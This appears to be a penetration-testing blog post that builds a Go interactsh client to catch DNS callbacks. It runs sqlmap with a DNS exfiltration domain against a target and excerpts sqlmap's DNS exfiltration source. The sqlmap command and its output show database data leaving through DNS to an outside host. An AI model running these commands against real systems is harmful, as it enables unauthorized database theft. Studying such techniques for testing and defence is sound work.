SQLMap.sh – DNS Exfiltration made easy

We create the main project file based on the snippet suggested in the interactsh repository:

main.go
package main

import (
	"fmt"
	"os"
	"os/signal"
	"syscall"
	"time"

	"github.com/projectdiscovery/interactsh/pkg/client"
	"github.com/projectdiscovery/interactsh/pkg/server"
)

func main() {

	// Create InteractSH client
	client, err := client.New(client.DefaultOptions)
	if err != nil {
		panic(err)
	}
	defer client.Close()

    // Get the URL where to do DNS requests
	URL := client.URL()
    fmt.Printf("Got URL: %v\n", URL)
    
	// Poll the client every second and print the received DNS interactions
	client.StartPolling(time.Duration(1*time.Second), func(interaction *server.Interaction) {
		if interaction.Protocol == "dns" {
			fmt.Printf("Got DNS interaction: %s\n", interaction.FullId)
		}
	})
	defer client.StopPolling()

	// Wait for the user to quit the program by using ctrl+c
    done := make(chan os.Signal, 1)
    signal.Notify(done, syscall.SIGINT, syscall.SIGTERM)
    fmt.Println("Press ctrl+c to exit...")
    <-done
}

We add any missing modules required by the imported packages. We then launch the program and use a browser to open the URL that is generated on screen:

$ go mod tidy
$ go run main.go
Got URL: ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live
Press ctrl+c to exit...

Got DNS interaction: ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi

Great, now we have a working client! Let’s now try to launch SQLMap by specifying the client URL as the exfiltration domain:

# sqlmap shell
$ sudo sqlmap -r "$(pwd)/sqli.txt" --dbms=mssql --drop-set-cookie --answers=marker=Y,redirect=N,continue=Y --code=302 --level=5 --risk=3 --technique=B --dns-domain=ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live --banner
    
# sqlmapsh shell
Got DNS interaction: Moh.0x3700330030003800.wVo.ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live

Soon we obtain a request on the domain Moh.0x3700330030003800.wVo.ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live. So, based on what we said before, the exfiltrated data are: Moh.0x3700330030003800.wVo.

To understand what this means, we can take a look at the source code of SQLMap:

lib/techniques/dns/test.py
#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.common import Backend
from lib.core.common import randomInt
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.exception import SqlmapNotVulnerableException
from lib.techniques.dns.use import dnsUse

def dnsTest(payload):
    logger.info("testing for data retrieval through DNS channel")

    randInt = randomInt()
    kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt)

    if not kb.dnsTest:
        errMsg = "data retrieval through DNS channel failed"
        if not conf.forceDns:
            conf.dnsDomain = None
            errMsg += ". Turning off DNS exfiltration support"
            logger.error(errMsg)
        else:
            raise SqlmapNotVulnerableException(errMsg)
    else:
        infoMsg = "data retrieval through DNS channel was successful"
        logger.info(infoMsg)

Here we can see how SQLMap, before making the data exfiltration, tested the connection with the DNS by generating a random integer and transmitting it to the dnsUse function.

lib/techniques/dns/use.py
def dnsUse(payload, expression):
    """
    Retrieve the output of a SQL query taking advantage of the DNS
    resolution mechanism by making request back to attacker's machine.
    """

    # ...

    if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
        # ...

            while True:
                # ...
                prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2))
                # ...
                expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
                expressionUnescaped = unescaper.escape(expressionRequest)

                if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
                    query = agent.prefixQuery("; %s" % expressionUnescaped)
                    query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
                    forgedPayload = agent.payload(newValue=query)
                else:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))

                Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)

                _ = conf.dnsServer.pop(prefix, suffix)


                if _:
                    _ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
                    _ = decodeDbmsHexValue(_)
                    # ...

The function does nothing but randomly generate two strings — prefix and suffix — made of 3 characters. Then it builds an SQL query that makes the victim run a DNS query to prefix.random-number.suffix.dns-domain. After this, it waits for a DNS query on the local server and extracts the section prefix.stuff.suffix to check if the data arrived correctly.